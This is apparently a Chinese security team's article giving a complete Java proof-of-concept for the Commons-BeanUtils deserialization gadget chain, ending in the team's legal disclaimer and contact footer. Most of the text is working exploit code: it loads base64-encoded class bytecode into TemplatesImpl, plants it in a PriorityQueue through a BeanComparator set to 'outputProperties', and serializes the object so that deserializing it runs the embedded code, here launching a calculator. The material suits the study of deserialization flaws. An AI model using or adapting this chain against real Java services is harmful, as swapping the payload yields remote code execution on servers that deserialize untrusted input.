* 测试环境:
* commons-beanutils 1.9.0 - 1.9.4
* commons-beanutils 1.8.0 - 1.8.3
* commons-beanutils 1.7.0
* commons-beanutils 1.6.1
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB_NoCC {
public static void main(String[] args) throws Exception {
//1、实现基本的 TemplatesImpl.newTransformer() 代码执行
TemplatesImpl templates = getTemplatesForCalc();
//2、BeanComparator链条
// 摆脱对Commons-Collections的依赖:传入原生的、可序列化的 Comparator (String.CASE_INSENSITIVE_ORDER)
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//3、先不将比较器加入 PriorityQueue,最后修改比较器进行运行, 适用于多种环境
PriorityQueue queue = new PriorityQueue(2);
// 使用 queue.add 自动调用 compare 方法完成比较
queue.add(1);
queue.add(1);
//如果 property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 property 属性,比较属性的值。
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "comparator", comparator);
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
deserialize();
}
public static void serialize(Object obj) throws IOException {
//简化代码 序列化操作
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static void deserialize() throws IOException, ClassNotFoundException {
//简化代码 反序列化操作
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static TemplatesImpl getTemplatesForCalc() throws Exception {
byte[] code = getCodeFromBase64();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
public static byte[] getCodeFromBase64(){
// 弹出计算机的Base64代码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAA" +
"l0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFja" +
"GUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAS" +
"TG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANkx5c29zZXJpYWwvbXl0ZXN0L2NvbW1vbnNjb2xsZWN0aW9uMy9IZWxsb0RlZmluZUN" +
"sYXNzOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAE" +
"JbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb" +
"25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1s" +
"L2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJ" +
"pYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aX" +
"NJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL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AAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AA" +
"dXsQAAAAIADQAAABIABAAAABkABAAaAAwAGwAVABwADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==");
return code;
}
}
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.6.1</version>
</dependency>
</dependencies>
在学习本文技术或工具使用前,请您务必审慎阅读、充分理解各条款内容。
1、本团队分享的任何类型技术、工具文章等文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人使用本团队技术或工具进行非法活动。
2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。如您仅需要测试技术或工具的可行性,建议请自行搭建靶机环境,请勿对非授权目标进行扫描。
3、如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
4、本团队目前未发起任何对外公开培训项目和其他对外收费项目,严禁任何组织或个人使用本团队名义进行非法盈利。
5、本团队所有分享工具及技术文章,严禁不经过授权的公开分享。
如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果。
END
如您有任何投稿、问题、需求、建议
请NOVASEC公众号后台留言!
或添加 NOVASEC 联系人
感谢您对我们的支持、点赞和关注
加入我们与萌新一起成长吧!
本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!!